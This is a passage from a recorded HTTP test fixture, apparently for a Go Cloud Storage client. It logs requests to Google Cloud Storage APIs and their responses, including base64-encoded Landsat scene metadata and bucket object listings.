"efc8b67f9c2f4b40", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/notificationConfigs?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "32" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:25 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:25 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UraMBYT56qFvKLe_OPJfpJRhTy2qSpQyRjP6CScOnnijgaQ88eQtVahktX_Vsvy-G7J11d7GNT64FnpqZrewu1sUmuNNLiEtmkqVFILdNcWed6i1w4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNub3RpZmljYXRpb25zIn0=" - } - }, - { - "ID": "6dd92f9ce3b15a57", - "Request": { - "Method": "GET", - "URL": "https://storage.googleapis.com/gcp-public-data-landsat/LC08/PRE/044/034/LC80440342016259LGN00/LC80440342016259LGN00_MTL.txt", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "Go-http-client/1.1" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Accept-Ranges": [ - "bytes" - ], - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "public, max-age=3600" - ], - "Content-Length": [ - "7903" - ], - "Content-Type": [ - "application/octet-stream" - ], - "Date": [ - "Thu, 02 May 2019 22:25:25 GMT" - ], - "Etag": [ - "\"7a5fd4743bd647485f88496fadb05c51\"" - ], - "Expires": [ - "Thu, 02 May 2019 23:25:25 GMT" - ], - "Last-Modified": [ - "Tue, 04 Oct 2016 16:42:07 GMT" - ], - "Server": [ - "UploadServer" - ], - "X-Goog-Generation": [ - "1475599327662000" - ], - "X-Goog-Hash": [ - "crc32c=PWBt8g==", - "md5=el/UdDvWR0hfiElvrbBcUQ==" - ], - "X-Goog-Metageneration": [ - "1" - ], - "X-Goog-Storage-Class": [ - "STANDARD" - ], - "X-Goog-Stored-Content-Encoding": [ - "identity" - ], - "X-Goog-Stored-Content-Length": [ - "7903" - ], - "X-Guploader-Customer": [ - "cloud-storage" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpedRCcxIOhXCWdipyV2E0R3z00CUlOK6rPlof1gpKuQbLeJmvMoPFn28o8zqmmeVJ5rbX41bB6Hp116-_ISgEXl4Htmc1VS0Aq41lJQiN_mIvozbY" - ] - }, - "Body": "R1JPVVAgPSBMMV9NRVRBREFUQV9GSUxFCiAgR1JPVVAgPSBNRVRBREFUQV9GSUxFX0lORk8KICAgIE9SSUdJTiA9ICJJbWFnZSBjb3VydGVzeSBvZiB0aGUgVS5TLiBHZW9sb2dpY2FsIFN1cnZleSIKICAgIFJFUVVFU1RfSUQgPSAiMDcwMTYwOTE5MTA1MV8wMDAwNCIKICAgIExBTkRTQVRfU0NFTkVfSUQgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwIgogICAgRklMRV9EQVRFID0gMjAxNi0wOS0yMFQwMzoxMzowMloKICAgIFNUQVRJT05fSUQgPSAiTEdOIgogICAgUFJPQ0VTU0lOR19TT0ZUV0FSRV9WRVJTSU9OID0gIkxQR1NfMi42LjIiCiAgRU5EX0dST1VQID0gTUVUQURBVEFfRklMRV9JTkZPCiAgR1JPVVAgPSBQUk9EVUNUX01FVEFEQVRBCiAgICBEQVRBX1RZUEUgPSAiTDFUIgogICAgRUxFVkFUSU9OX1NPVVJDRSA9ICJHTFMyMDAwIgogICAgT1VUUFVUX0ZPUk1BVCA9ICJHRU9USUZGIgogICAgU1BBQ0VDUkFGVF9JRCA9ICJMQU5EU0FUXzgiCiAgICBTRU5TT1JfSUQgPSAiT0xJX1RJUlMiCiAgICBXUlNfUEFUSCA9IDQ0CiAgICBXUlNfUk9XID0gMzQKICAgIE5BRElSX09GRk5BRElSID0gIk5BRElSIgogICAgVEFSR0VUX1dSU19QQVRIID0gNDQKICAgIFRBUkdFVF9XUlNfUk9XID0gMzQKICAgIERBVEVfQUNRVUlSRUQgPSAyMDE2LTA5LTE1CiAgICBTQ0VORV9DRU5URVJfVElNRSA9ICIxODo0NjoxOC42ODY3MzgwWiIKICAgIENPUk5FUl9VTF9MQVRfUFJPRFVDVCA9IDM4LjUyODE5CiAgICBDT1JORVJfVUxfTE9OX1BST0RVQ1QgPSAtMTIzLjQwODQzCiAgICBDT1JORVJfVVJfTEFUX1BST0RVQ1QgPSAzOC41MDc2NQogICAgQ09STkVSX1VSX0xPTl9QUk9EVUNUID0gLTEyMC43NjkzMwogICAgQ09STkVSX0xMX0xBVF9QUk9EVUNUID0gMzYuNDE2MzMKICAgIENPUk5FUl9MTF9MT05fUFJPRFVDVCA9IC0xMjMuMzk3MDkKICAgIENPUk5FUl9MUl9MQVRfUFJPRFVDVCA9IDM2LjM5NzI5CiAgICBDT1JORVJfTFJfTE9OX1BST0RVQ1QgPSAtMTIwLjgzMTE3CiAgICBDT1JORVJfVUxfUFJPSkVDVElPTl9YX1BST0RVQ1QgPSA0NjQ0MDAuMDAwCiAgICBDT1JORVJfVUxfUFJPSkVDVElPTl9ZX1BST0RVQ1QgPSA0MjY0NTAwLjAwMAogICAgQ09STkVSX1VSX1BST0pFQ1RJT05fWF9QUk9EVUNUID0gNjk0NTAwLjAwMAogICAgQ09STkVSX1VSX1BST0pFQ1RJT05fWV9QUk9EVUNUID0gNDI2NDUwMC4wMDAKICAgIENPUk5FUl9MTF9QUk9KRUNUSU9OX1hfUFJPRFVDVCA9IDQ2NDQwMC4wMDAKICAgIENPUk5FUl9MTF9QUk9KRUNUSU9OX1lfUFJPRFVDVCA9IDQwMzAyMDAuMDAwCiAgICBDT1JORVJfTFJfUFJPSkVDVElPTl9YX1BST0RVQ1QgPSA2OTQ1MDAuMDAwCiAgICBDT1JORVJfTFJfUFJPSkVDVElPTl9ZX1BST0RVQ1QgPSA0MDMwMjAwLjAwMAogICAgUEFOQ0hST01BVElDX0xJTkVTID0gMTU2MjEKICAgIFBBTkNIUk9NQVRJQ19TQU1QTEVTID0gMTUzNDEKICAgIFJFRkxFQ1RJVkVfTElORVMgPSA3ODExCiAgICBSRUZMRUNUSVZFX1NBTVBMRVMgPSA3NjcxCiAgICBUSEVSTUFMX0xJTkVTID0gNzgxMQogICAgVEhFUk1BTF9TQU1QTEVTID0gNzY3MQogICAgRklMRV9OQU1FX0JBTkRfMSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjEuVElGIgogICAgRklMRV9OQU1FX0JBTkRfMiA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjIuVElGIgogICAgRklMRV9OQU1FX0JBTkRfMyA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjMuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNCA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjQuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjUuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNiA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjYuVElGIgogICAgRklMRV9OQU1FX0JBTkRfNyA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjcuVElGIgogICAgRklMRV9OQU1FX0JBTkRfOCA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjguVElGIgogICAgRklMRV9OQU1FX0JBTkRfOSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjkuVElGIgogICAgRklMRV9OQU1FX0JBTkRfMTAgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxMC5USUYiCiAgICBGSUxFX05BTUVfQkFORF8xMSA9ICJMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjExLlRJRiIKICAgIEZJTEVfTkFNRV9CQU5EX1FVQUxJVFkgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0JRQS5USUYiCiAgICBNRVRBREFUQV9GSUxFX05BTUUgPSAiTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX01UTC50eHQiCiAgICBCUEZfTkFNRV9PTEkgPSAiTE84QlBGMjAxNjA5MTUxODMwNTdfMjAxNjA5MTUyMDA5NTAuMDEiCiAgICBCUEZfTkFNRV9USVJTID0gIkxUOEJQRjIwMTYwOTAyMDg0MTIyXzIwMTYwOTE3MDc0MDI3LjAyIgogICAgQ1BGX05BTUUgPSAiTDhDUEYyMDE2MDcwMV8yMDE2MDkzMC4wMiIKICAgIFJMVVRfRklMRV9OQU1FID0gIkw4UkxVVDIwMTUwMzAzXzIwNDMxMjMxdjExLmg1IgogIEVORF9HUk9VUCA9IFBST0RVQ1RfTUVUQURBVEEKICBHUk9VUCA9IElNQUdFX0FUVFJJQlVURVMKICAgIENMT1VEX0NPVkVSID0gMjkuNTYKICAgIENMT1VEX0NPVkVSX0xBTkQgPSAzLjMzCiAgICBJTUFHRV9RVUFMSVRZX09MSSA9IDkKICAgIElNQUdFX1FVQUxJVFlfVElSUyA9IDkKICAgIFRJUlNfU1NNX01PREVMID0gIkZJTkFMIgogICAgVElSU19TU01fUE9TSVRJT05fU1RBVFVTID0gIkVTVElNQVRFRCIKICAgIFJPTExfQU5HTEUgPSAtMC4wMDEKICAgIFNVTl9BWklNVVRIID0gMTQ4LjQ4MDQ5Mzk2CiAgICBTVU5fRUxFVkFUSU9OID0gNTAuOTM3NjgzOTkKICAgIEVBUlRIX1NVTl9ESVNUQU5DRSA9IDEuMDA1Mzc1MgogICAgR1JPVU5EX0NPTlRST0xfUE9JTlRTX1ZFUlNJT04gPSA0CiAgICBHUk9VTkRfQ09OVFJPTF9QT0lOVFNfTU9ERUwgPSA1NDgKICAgIEdFT01FVFJJQ19STVNFX01PREVMID0gNS44NTcKICAgIEdFT01FVFJJQ19STVNFX01PREVMX1kgPSAzLjg0MQogICAgR0VPTUVUUklDX1JNU0VfTU9ERUxfWCA9IDQuNDIyCiAgICBHUk9VTkRfQ09OVFJPTF9QT0lOVFNfVkVSSUZZID0gMjI4CiAgICBHRU9NRVRSSUNfUk1TRV9WRVJJRlkgPSAzLjM4MgogIEVORF9HUk9VUCA9IElNQUdFX0FUVFJJQlVURVMKICBHUk9VUCA9IE1JTl9NQVhfUkFESUFOQ0UKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF8xID0gNzUxLjk1NzA5CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfMSA9IC02Mi4wOTY4NgogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzIgPSA3NzAuMDEzMTgKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF8yID0gLTYzLjU4Nzk0CiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfMyA9IDcwOS41NjA2MQogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzMgPSAtNTguNTk1NzUKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF80ID0gNTk4LjM0MTQ5CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNCA9IC00OS40MTEyMwogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzUgPSAzNjYuMTU1MTUKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF81ID0gLTMwLjIzNzIxCiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfNiA9IDkxLjA1OTQ2CiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNiA9IC03LjUxOTcyCiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfNyA9IDMwLjY5MTkxCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfNyA9IC0yLjUzNDU1CiAgICBSQURJQU5DRV9NQVhJTVVNX0JBTkRfOCA9IDY3Ny4xNTc4NAogICAgUkFESUFOQ0VfTUlOSU1VTV9CQU5EXzggPSAtNTUuOTE5OTIKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF85ID0gMTQzLjEwMTczCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfOSA9IC0xMS44MTczOQogICAgUkFESUFOQ0VfTUFYSU1VTV9CQU5EXzEwID0gMjIuMDAxODAKICAgIFJBRElBTkNFX01JTklNVU1fQkFORF8xMCA9IDAuMTAwMzMKICAgIFJBRElBTkNFX01BWElNVU1fQkFORF8xMSA9IDIyLjAwMTgwCiAgICBSQURJQU5DRV9NSU5JTVVNX0JBTkRfMTEgPSAwLjEwMDMzCiAgRU5EX0dST1VQID0gTUlOX01BWF9SQURJQU5DRQogIEdST1VQID0gTUlOX01BWF9SRUZMRUNUQU5DRQogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzEgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzEgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF8yID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF8yID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfMyA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfMyA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzQgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzQgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF81ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF81ID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfNiA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfNiA9IC0wLjA5OTk4MAogICAgUkVGTEVDVEFOQ0VfTUFYSU1VTV9CQU5EXzcgPSAxLjIxMDcwMAogICAgUkVGTEVDVEFOQ0VfTUlOSU1VTV9CQU5EXzcgPSAtMC4wOTk5ODAKICAgIFJFRkxFQ1RBTkNFX01BWElNVU1fQkFORF84ID0gMS4yMTA3MDAKICAgIFJFRkxFQ1RBTkNFX01JTklNVU1fQkFORF84ID0gLTAuMDk5OTgwCiAgICBSRUZMRUNUQU5DRV9NQVhJTVVNX0JBTkRfOSA9IDEuMjEwNzAwCiAgICBSRUZMRUNUQU5DRV9NSU5JTVVNX0JBTkRfOSA9IC0wLjA5OTk4MAogIEVORF9HUk9VUCA9IE1JTl9NQVhfUkVGTEVDVEFOQ0UKICBHUk9VUCA9IE1JTl9NQVhfUElYRUxfVkFMVUUKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8xID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF8xID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzIgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzIgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfMyA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMyA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF80ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF80ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzUgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzUgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfNiA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfNiA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF83ID0gNjU1MzUKICAgIFFVQU5USVpFX0NBTF9NSU5fQkFORF83ID0gMQogICAgUVVBTlRJWkVfQ0FMX01BWF9CQU5EXzggPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzggPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfOSA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfOSA9IDEKICAgIFFVQU5USVpFX0NBTF9NQVhfQkFORF8xMCA9IDY1NTM1CiAgICBRVUFOVElaRV9DQUxfTUlOX0JBTkRfMTAgPSAxCiAgICBRVUFOVElaRV9DQUxfTUFYX0JBTkRfMTEgPSA2NTUzNQogICAgUVVBTlRJWkVfQ0FMX01JTl9CQU5EXzExID0gMQogIEVORF9HUk9VUCA9IE1JTl9NQVhfUElYRUxfVkFMVUUKICBHUk9VUCA9IFJBRElPTUVUUklDX1JFU0NBTElORwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzEgPSAxLjI0MjJFLTAyCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfMiA9IDEuMjcyMEUtMDIKICAgIFJBRElBTkNFX01VTFRfQkFORF8zID0gMS4xNzIxRS0wMgogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzQgPSA5Ljg4NDJFLTAzCiAgICBSQURJQU5DRV9NVUxUX0JBTkRfNSA9IDYuMDQ4N0UtMDMKICAgIFJBRElBTkNFX01VTFRfQkFORF82ID0gMS41MDQyRS0wMwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzcgPSA1LjA3MDFFLTA0CiAgICBSQURJQU5DRV9NVUxUX0JBTkRfOCA9IDEuMTE4NkUtMDIKICAgIFJBRElBTkNFX01VTFRfQkFORF85ID0gMi4zNjQwRS0wMwogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzEwID0gMy4zNDIwRS0wNAogICAgUkFESUFOQ0VfTVVMVF9CQU5EXzExID0gMy4zNDIwRS0wNAogICAgUkFESUFOQ0VfQUREX0JBTkRfMSA9IC02Mi4xMDkyOAogICAgUkFESUFOQ0VfQUREX0JBTkRfMiA9IC02My42MDA2NgogICAgUkFESUFOQ0VfQUREX0JBTkRfMyA9IC01OC42MDc0NwogICAgUkFESUFOQ0VfQUREX0JBTkRfNCA9IC00OS40MjExMgogICAgUkFESUFOQ0VfQUREX0JBTkRfNSA9IC0zMC4yNDMyNgogICAgUkFESUFOQ0VfQUREX0JBTkRfNiA9IC03LjUyMTIyCiAgICBSQURJQU5DRV9BRERfQkFORF83ID0gLTIuNTM1MDUKICAgIFJBRElBTkNFX0FERF9CQU5EXzggPSAtNTUuOTMxMTAKICAgIFJBRElBTkNFX0FERF9CQU5EXzkgPSAtMTEuODE5NzUKICAgIFJBRElBTkNFX0FERF9CQU5EXzEwID0gMC4xMDAwMAogICAgUkFESUFOQ0VfQUREX0JBTkRfMTEgPSAwLjEwMDAwCiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfMSA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF8yID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzMgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfNCA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF81ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzYgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9NVUxUX0JBTkRfNyA9IDIuMDAwMEUtMDUKICAgIFJFRkxFQ1RBTkNFX01VTFRfQkFORF84ID0gMi4wMDAwRS0wNQogICAgUkVGTEVDVEFOQ0VfTVVMVF9CQU5EXzkgPSAyLjAwMDBFLTA1CiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8xID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8yID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF8zID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF80ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF81ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF82ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF83ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF84ID0gLTAuMTAwMDAwCiAgICBSRUZMRUNUQU5DRV9BRERfQkFORF85ID0gLTAuMTAwMDAwCiAgRU5EX0dST1VQID0gUkFESU9NRVRSSUNfUkVTQ0FMSU5HCiAgR1JPVVAgPSBUSVJTX1RIRVJNQUxfQ09OU1RBTlRTCiAgICBLMV9DT05TVEFOVF9CQU5EXzEwID0gNzc0Ljg4NTMKICAgIEsxX0NPTlNUQU5UX0JBTkRfMTEgPSA0ODAuODg4MwogICAgSzJfQ09OU1RBTlRfQkFORF8xMCA9IDEzMjEuMDc4OQogICAgSzJfQ09OU1RBTlRfQkFORF8xMSA9IDEyMDEuMTQ0MgogIEVORF9HUk9VUCA9IFRJUlNfVEhFUk1BTF9DT05TVEFOVFMKICBHUk9VUCA9IFBST0pFQ1RJT05fUEFSQU1FVEVSUwogICAgTUFQX1BST0pFQ1RJT04gPSAiVVRNIgogICAgREFUVU0gPSAiV0dTODQiCiAgICBFTExJUFNPSUQgPSAiV0dTODQiCiAgICBVVE1fWk9ORSA9IDEwCiAgICBHUklEX0NFTExfU0laRV9QQU5DSFJPTUFUSUMgPSAxNS4wMAogICAgR1JJRF9DRUxMX1NJWkVfUkVGTEVDVElWRSA9IDMwLjAwCiAgICBHUklEX0NFTExfU0laRV9USEVSTUFMID0gMzAuMDAKICAgIE9SSUVOVEFUSU9OID0gIk5PUlRIX1VQIgogICAgUkVTQU1QTElOR19PUFRJT04gPSAiQ1VCSUNfQ09OVk9MVVRJT04iCiAgRU5EX0dST1VQID0gUFJPSkVDVElPTl9QQVJBTUVURVJTCkVORF9HUk9VUCA9IEwxX01FVEFEQVRBX0ZJTEUKRU5ECg==" - } - }, - { - "ID": "914cb60452456134", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/gcp-public-data-landsat/o?alt=json\u0026delimiter=\u0026pageToken=\u0026prefix=LC08%2FPRE%2F044%2F034%2FLC80440342016259LGN00%2F\u0026prettyPrint=false\u0026projection=full\u0026versions=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "12632" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:26 GMT" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:26 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpLE4EijIrGqoHRLrCqmprZtxBU2JtHLLsZ-nIakblnuZX8s6FZA1SEaczyybdjB32loN1-gVCf83PFM4x06S24ATKp9-xRgQ9QNC9fwVH_ec4e9JQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3RzIiwiaXRlbXMiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdCIsImlkIjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxLlRJRi8xNDc1NTk5MTQ0NTc5MDAwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxLlRJRiIsIm5hbWUiOiJMQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjEuVElGIiwiYnVja2V0IjoiZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQiLCJnZW5lcmF0aW9uIjoiMTQ3NTU5OTE0NDU3OTAwMCIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIiwidGltZUNyZWF0ZWQiOiIyMDE2LTEwLTA0VDE2OjM5OjA0LjU0NVoiLCJ1cGRhdGVkIjoiMjAxNi0xMC0wNFQxNjozOTowNC41NDVaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTYtMTAtMDRUMTY6Mzk6MDQuNTQ1WiIsInNpemUiOiI3NDcyMTczNiIsIm1kNUhhc2giOiI4MzVMNkI1ZnJCMHpDQjZzMjJyMlN3PT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxLlRJRj9nZW5lcmF0aW9uPTE0NzU1OTkxNDQ1NzkwMDAmYWx0PW1lZGlhIiwiY3JjMzJjIjoiOTM0QnJnPT0iLCJldGFnIjoiQ0xqZjM1Ykx3YzhDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0IiwiaWQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdC9MQzA4L1BSRS8wNDQvMDM0L0xDODA0NDAzNDIwMTYyNTlMR04wMC9MQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjEwLlRJRi8xNDc1NTk5MzEwMDQyMDAwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ2NwLXB1YmxpYy1kYXRhLWxhbmRzYXQvby9MQzA4JTJGUFJFJTJGMDQ0JTJGMDM0JTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwJTJGTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxMC5USUYiLCJuYW1lIjoiTEMwOC9QUkUvMDQ0LzAzNC9MQzgwNDQwMzQyMDE2MjU5TEdOMDAvTEM4MDQ0MDM0MjAxNjI1OUxHTjAwX0IxMC5USUYiLCJidWNrZXQiOiJnY3AtcHVibGljLWRhdGEtbGFuZHNhdCIsImdlbmVyYXRpb24iOiIxNDc1NTk5MzEwMDQyMDAwIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiY29udGVudFR5cGUiOiJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iLCJ0aW1lQ3JlYXRlZCI6IjIwMTYtMTAtMDRUMTY6NDE6NTAuMDAyWiIsInVwZGF0ZWQiOiIyMDE2LTEwLTA0VDE2OjQxOjUwLjAwMloiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsInRpbWVTdG9yYWdlQ2xhc3NVcGRhdGVkIjoiMjAxNi0xMC0wNFQxNjo0MTo1MC4wMDJaIiwic2l6ZSI6IjU4NjgxMjI4IiwibWQ1SGFzaCI6IkJXNjIzeEhnMTVJaFYyNG1ickwrQXc9PSIsIm1lZGlhTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2Rvd25sb2FkL3N0b3JhZ2UvdjEvYi9nY3AtcHVibGljLWRhdGEtbGFuZHNhdC9vL0xDMDglMkZQUkUlMkYwNDQlMkYwMzQlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDAlMkZMQzgwNDQwMzQyMDE2MjU5TEdOMDBfQjEwLlRJRj9nZW5lcmF0aW9uPTE0NzU1OTkzMTAwNDIwMDAmYWx0PW1lZGlhIiwiY3JjMz